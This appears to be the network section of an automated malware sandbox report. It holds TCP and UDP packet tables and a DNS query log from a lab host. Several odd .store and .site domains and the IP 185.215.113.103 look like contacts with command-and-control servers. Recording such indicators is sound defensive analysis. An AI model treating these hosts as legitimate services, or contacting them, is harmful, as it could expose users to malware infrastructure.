Oct 17, 2024 18:40:37.075068951 CEST	50058	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:37.075088978 CEST	443	50058	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:37.496046066 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:37.499898911 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:37.717405081 CEST	443	50058	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:37.717490911 CEST	50058	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:37.718846083 CEST	50058	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:37.718857050 CEST	443	50058	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:37.719144106 CEST	443	50058	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:37.720345974 CEST	50058	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:37.720523119 CEST	50058	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:37.720556021 CEST	443	50058	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:37.720628023 CEST	50058	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:37.720633984 CEST	443	50058	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:38.389785051 CEST	443	50058	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:38.389889956 CEST	443	50058	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:38.390324116 CEST	50058	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:38.393049955 CEST	50058	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:38.393064022 CEST	443	50058	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:38.545779943 CEST	50059	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:38.545830965 CEST	443	50059	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:38.545984030 CEST	50059	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:38.546324015 CEST	50059	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:38.546336889 CEST	443	50059	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:39.182400942 CEST	443	50059	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:39.187405109 CEST	443	50059	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:39.198471069 CEST	50059	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:39.212115049 CEST	50059	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:39.212145090 CEST	443	50059	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:39.212560892 CEST	443	50059	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:39.220439911 CEST	50059	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:39.220577955 CEST	50059	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:39.220613003 CEST	443	50059	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:39.232228041 CEST	50059	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:39.232256889 CEST	443	50059	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:40.014911890 CEST	443	50059	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:40.015033007 CEST	443	50059	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:40.015105009 CEST	50059	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:40.015216112 CEST	50059	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:40.015230894 CEST	443	50059	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:40.072283030 CEST	62395	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:40.072364092 CEST	443	62395	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:40.072565079 CEST	62395	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:40.072885990 CEST	62395	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:40.072901011 CEST	443	62395	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:40.694449902 CEST	443	62395	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:40.694547892 CEST	62395	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:40.695955992 CEST	62395	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:40.695970058 CEST	443	62395	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:40.696248055 CEST	443	62395	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:40.698028088 CEST	62395	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:40.698103905 CEST	62395	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:40.698112965 CEST	443	62395	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:40.852183104 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:40.852374077 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:41.299372911 CEST	443	62395	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:41.299491882 CEST	443	62395	172.67.206.204	192.168.2.7
Oct 17, 2024 18:40:41.299685001 CEST	62395	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:41.299741983 CEST	62395	443	192.168.2.7	172.67.206.204
Oct 17, 2024 18:40:41.299770117 CEST	443	62395	172.67.206.204	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 17, 2024 18:38:16.471287012 CEST	61685	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:38:23.877552986 CEST	64355	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:38:23.888205051 CEST	53	64355	1.1.1.1	192.168.2.7
Oct 17, 2024 18:38:23.975703001 CEST	57514	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:38:23.985750914 CEST	53	57514	1.1.1.1	192.168.2.7
Oct 17, 2024 18:38:24.061491013 CEST	63661	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:38:25.068558931 CEST	63661	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:38:25.093389034 CEST	53	63661	1.1.1.1	192.168.2.7
Oct 17, 2024 18:38:25.093588114 CEST	53	63661	1.1.1.1	192.168.2.7
Oct 17, 2024 18:38:25.112818956 CEST	53342	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:38:25.122088909 CEST	53	53342	1.1.1.1	192.168.2.7
Oct 17, 2024 18:38:25.124594927 CEST	53025	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:38:25.135307074 CEST	53	53025	1.1.1.1	192.168.2.7
Oct 17, 2024 18:38:25.136501074 CEST	53429	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:38:25.145541906 CEST	53	53429	1.1.1.1	192.168.2.7
Oct 17, 2024 18:38:25.146739006 CEST	63497	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:38:25.157542944 CEST	53	63497	1.1.1.1	192.168.2.7
Oct 17, 2024 18:38:25.160120964 CEST	59203	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:38:25.171147108 CEST	53	59203	1.1.1.1	192.168.2.7
Oct 17, 2024 18:38:25.175832987 CEST	56508	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:38:25.183106899 CEST	53	56508	1.1.1.1	192.168.2.7
Oct 17, 2024 18:38:26.954159975 CEST	58617	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:38:26.970498085 CEST	53	58617	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:04.078324080 CEST	49178	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:04.085598946 CEST	53	49178	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:04.089827061 CEST	63596	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:04.097322941 CEST	53	63596	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:05.509828091 CEST	52643	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:05.516946077 CEST	53	52643	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:05.518600941 CEST	51722	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:05.525728941 CEST	53	51722	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:05.526448965 CEST	58633	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:05.533602953 CEST	53	58633	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:05.672672033 CEST	54645	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:05.690710068 CEST	59688	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:05.698158979 CEST	53	59688	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:05.714869022 CEST	56656	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:05.722230911 CEST	53	56656	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:05.918282032 CEST	57663	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:05.926388979 CEST	53	57663	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:05.928508997 CEST	55366	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:05.935838938 CEST	53	55366	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:05.936570883 CEST	59340	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:05.943628073 CEST	53	59340	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:06.336103916 CEST	57779	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:06.343985081 CEST	53	57779	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:06.349150896 CEST	49834	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:06.349483013 CEST	59288	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:06.356226921 CEST	53	49834	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:06.357446909 CEST	53	59288	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:06.363625050 CEST	56053	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:06.368741035 CEST	59778	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:06.371375084 CEST	53	56053	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:06.376275063 CEST	53	59778	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:06.387711048 CEST	52417	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:06.388464928 CEST	60216	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:06.394686937 CEST	53	52417	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:06.395853043 CEST	53	60216	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:06.530188084 CEST	64507	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:06.530706882 CEST	53002	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:06.537791014 CEST	53	53002	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:06.541441917 CEST	49399	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:06.548221111 CEST	53	49399	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:06.549552917 CEST	63055	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:06.556395054 CEST	53	63055	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:12.213176966 CEST	64104	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:12.220551014 CEST	53	64104	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:12.227010965 CEST	63978	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:12.229754925 CEST	55802	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:12.235361099 CEST	53	63978	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:12.240309954 CEST	58785	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:12.248974085 CEST	53	58785	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:12.278790951 CEST	53	63238	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:12.682890892 CEST	65041	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:12.690953970 CEST	53	65041	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:12.694689035 CEST	51150	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:12.702613115 CEST	53	51150	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:12.709187984 CEST	59192	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:12.711553097 CEST	50935	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:12.718964100 CEST	53	50935	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:12.725188017 CEST	53	59192	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:12.726399899 CEST	57563	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:12.736372948 CEST	53	57563	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:12.751899004 CEST	53164	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:12.759036064 CEST	53	53164	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:16.718064070 CEST	53025	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:16.726102114 CEST	53	53025	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:16.730709076 CEST	53938	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:16.738739014 CEST	53	53938	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:16.740262985 CEST	51291	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:16.747910023 CEST	53	51291	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:19.637695074 CEST	59660	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:19.644933939 CEST	53	59660	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:26.085939884 CEST	64584	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:26.090704918 CEST	62235	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:26.093116045 CEST	53	64584	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:26.095422029 CEST	65129	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:26.099004030 CEST	53	62235	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:26.102694035 CEST	53	65129	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:26.120634079 CEST	56675	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:26.121268034 CEST	50071	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:26.122258902 CEST	55253	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:26.127748013 CEST	53	56675	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:26.128637075 CEST	53	50071	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:26.128984928 CEST	57307	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:26.129216909 CEST	53	55253	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:26.132481098 CEST	51276	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:26.132709026 CEST	54729	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:26.137005091 CEST	53	57307	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:26.139178038 CEST	57542	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:26.139621019 CEST	53	54729	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:26.140075922 CEST	53	51276	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:26.140371084 CEST	51783	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:26.142503977 CEST	49585	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:26.145999908 CEST	53	57542	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:26.146635056 CEST	56775	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:26.147186041 CEST	53	51783	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:26.147674084 CEST	54680	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:26.149478912 CEST	53	49585	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:26.153139114 CEST	51354	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:26.153652906 CEST	53	56775	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:26.154664993 CEST	56014	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:26.154946089 CEST	53	54680	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:26.155380011 CEST	58811	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:26.161259890 CEST	53	51354	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:26.162379980 CEST	53	56014	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:26.162395954 CEST	53	58811	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:27.540036917 CEST	51721	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:32.550982952 CEST	55418	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:32.557708979 CEST	53	55418	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:32.576857090 CEST	62149	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:32.585454941 CEST	53	62149	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:32.587089062 CEST	50164	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:32.594888926 CEST	53	50164	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:32.596481085 CEST	62376	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:32.603898048 CEST	53	62376	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:32.633177042 CEST	58669	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:32.640652895 CEST	53	58669	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:32.643265963 CEST	52599	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:32.651273012 CEST	53	52599	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:32.655797958 CEST	63506	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:32.664356947 CEST	53	63506	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:36.787765026 CEST	55880	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:36.795674086 CEST	53	55880	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:58.095768929 CEST	58427	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:58.206782103 CEST	53	58427	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:58.210306883 CEST	65516	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:39:58.217487097 CEST	53	65516	1.1.1.1	192.168.2.7
Oct 17, 2024 18:39:58.834980965 CEST	58853	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:40:03.334420919 CEST	59716	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:40:03.341434956 CEST	53	59716	1.1.1.1	192.168.2.7
Oct 17, 2024 18:40:16.813313007 CEST	63335	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:40:17.118180990 CEST	53	63335	1.1.1.1	192.168.2.7
Oct 17, 2024 18:40:17.121710062 CEST	53049	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:40:17.131494999 CEST	53	53049	1.1.1.1	192.168.2.7
Oct 17, 2024 18:40:17.132802010 CEST	52568	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:40:17.144054890 CEST	53	52568	1.1.1.1	192.168.2.7
Oct 17, 2024 18:40:17.146799088 CEST	51695	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:40:17.155786991 CEST	53	51695	1.1.1.1	192.168.2.7
Oct 17, 2024 18:40:17.158288002 CEST	56089	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:40:17.169485092 CEST	53	56089	1.1.1.1	192.168.2.7
Oct 17, 2024 18:40:17.171927929 CEST	55599	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:40:17.187885046 CEST	53	55599	1.1.1.1	192.168.2.7
Oct 17, 2024 18:40:17.190251112 CEST	63598	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:40:17.199613094 CEST	53	63598	1.1.1.1	192.168.2.7
Oct 17, 2024 18:40:17.201817989 CEST	56907	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:40:17.210711956 CEST	53	56907	1.1.1.1	192.168.2.7
Oct 17, 2024 18:40:17.215832949 CEST	64614	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:40:17.224267960 CEST	53	64614	1.1.1.1	192.168.2.7
Oct 17, 2024 18:40:30.153867006 CEST	52555	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:40:30.164568901 CEST	53	52555	1.1.1.1	192.168.2.7
Oct 17, 2024 18:40:30.166309118 CEST	55555	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:40:30.177072048 CEST	53	55555	1.1.1.1	192.168.2.7
Oct 17, 2024 18:40:30.179507017 CEST	50848	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:40:30.189239025 CEST	53	50848	1.1.1.1	192.168.2.7
Oct 17, 2024 18:40:30.191075087 CEST	57595	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:40:30.202275991 CEST	53	57595	1.1.1.1	192.168.2.7
Oct 17, 2024 18:40:30.204582930 CEST	59860	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:40:30.214262962 CEST	53	59860	1.1.1.1	192.168.2.7
Oct 17, 2024 18:40:30.216602087 CEST	62802	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:40:30.225940943 CEST	53	62802	1.1.1.1	192.168.2.7
Oct 17, 2024 18:40:30.227801085 CEST	61659	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:40:30.237273932 CEST	53	61659	1.1.1.1	192.168.2.7
Oct 17, 2024 18:40:30.240211964 CEST	60857	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:40:30.259459972 CEST	53	60857	1.1.1.1	192.168.2.7
Oct 17, 2024 18:40:30.264885902 CEST	65118	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:40:30.273066998 CEST	53	65118	1.1.1.1	192.168.2.7
Oct 17, 2024 18:40:38.794116020 CEST	56995	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:40:38.822731972 CEST	53	56995	1.1.1.1	192.168.2.7
Oct 17, 2024 18:40:38.834809065 CEST	53305	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:40:38.844501019 CEST	53	53305	1.1.1.1	192.168.2.7
Oct 17, 2024 18:40:38.858849049 CEST	55953	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:40:38.866017103 CEST	53	55953	1.1.1.1	192.168.2.7
Oct 17, 2024 18:40:39.526077986 CEST	63031	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:40:39.536104918 CEST	53	63031	1.1.1.1	192.168.2.7
Oct 17, 2024 18:40:39.538153887 CEST	49596	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:40:39.547847033 CEST	53	49596	1.1.1.1	192.168.2.7
Oct 17, 2024 18:40:39.550599098 CEST	53088	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:40:39.559516907 CEST	53	53088	1.1.1.1	192.168.2.7
Oct 17, 2024 18:40:39.565020084 CEST	51983	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:40:39.574775934 CEST	53	51983	1.1.1.1	192.168.2.7
Oct 17, 2024 18:40:39.576931000 CEST	50081	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:40:39.587131023 CEST	53	50081	1.1.1.1	192.168.2.7
Oct 17, 2024 18:40:39.592432022 CEST	63145	53	192.168.2.7	1.1.1.1
Oct 17, 2024 18:40:39.599626064 CEST	53	63145	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 17, 2024 18:38:16.471287012 CEST	192.168.2.7	1.1.1.1	0x86c3	Standard query (0)	time.windows.com	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:38:23.877552986 CEST	192.168.2.7	1.1.1.1	0xadf5	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:38:23.975703001 CEST	192.168.2.7	1.1.1.1	0x7eb8	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:38:24.061491013 CEST	192.168.2.7	1.1.1.1	0xf740	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:38:25.068558931 CEST	192.168.2.7	1.1.1.1	0xf740	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:38:25.112818956 CEST	192.168.2.7	1.1.1.1	0xe108	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:38:25.124594927 CEST	192.168.2.7	1.1.1.1	0x5ce8	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:38:25.136501074 CEST	192.168.2.7	1.1.1.1	0x476b	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:38:25.146739006 CEST	192.168.2.7	1.1.1.1	0xd4ea	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:38:25.160120964 CEST	192.168.2.7	1.1.1.1	0xbe3d	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:38:25.175832987 CEST	192.168.2.7	1.1.1.1	0xb2ce	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:38:26.954159975 CEST	192.168.2.7	1.1.1.1	0xa39c	Standard query (0)	sergei-esenin.com	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:04.078324080 CEST	192.168.2.7	1.1.1.1	0x11bd	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:04.089827061 CEST	192.168.2.7	1.1.1.1	0x5134	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 17, 2024 18:39:05.509828091 CEST	192.168.2.7	1.1.1.1	0x4e91	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:05.518600941 CEST	192.168.2.7	1.1.1.1	0x3946	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:05.526448965 CEST	192.168.2.7	1.1.1.1	0xcc33	Standard query (0)	youtube.com	28	IN (0x0001)	false
Oct 17, 2024 18:39:05.672672033 CEST	192.168.2.7	1.1.1.1	0xddb5	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:05.690710068 CEST	192.168.2.7	1.1.1.1	0xd42f	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:05.714869022 CEST	192.168.2.7	1.1.1.1	0x5c51	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 17, 2024 18:39:05.918282032 CEST	192.168.2.7	1.1.1.1	0xfd62	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:05.928508997 CEST	192.168.2.7	1.1.1.1	0x98bd	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:05.936570883 CEST	192.168.2.7	1.1.1.1	0x982f	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 17, 2024 18:39:06.336103916 CEST	192.168.2.7	1.1.1.1	0x57da	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:06.349150896 CEST	192.168.2.7	1.1.1.1	0xceac	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:06.349483013 CEST	192.168.2.7	1.1.1.1	0x2fa	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:06.363625050 CEST	192.168.2.7	1.1.1.1	0x8f1a	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 17, 2024 18:39:06.368741035 CEST	192.168.2.7	1.1.1.1	0xcbd	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 17, 2024 18:39:06.387711048 CEST	192.168.2.7	1.1.1.1	0x384b	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:06.388464928 CEST	192.168.2.7	1.1.1.1	0x33a	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:06.530188084 CEST	192.168.2.7	1.1.1.1	0xeafc	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:06.530706882 CEST	192.168.2.7	1.1.1.1	0xfd6b	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:06.541441917 CEST	192.168.2.7	1.1.1.1	0x4621	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:06.549552917 CEST	192.168.2.7	1.1.1.1	0xec25	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 17, 2024 18:39:12.213176966 CEST	192.168.2.7	1.1.1.1	0x9f97	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
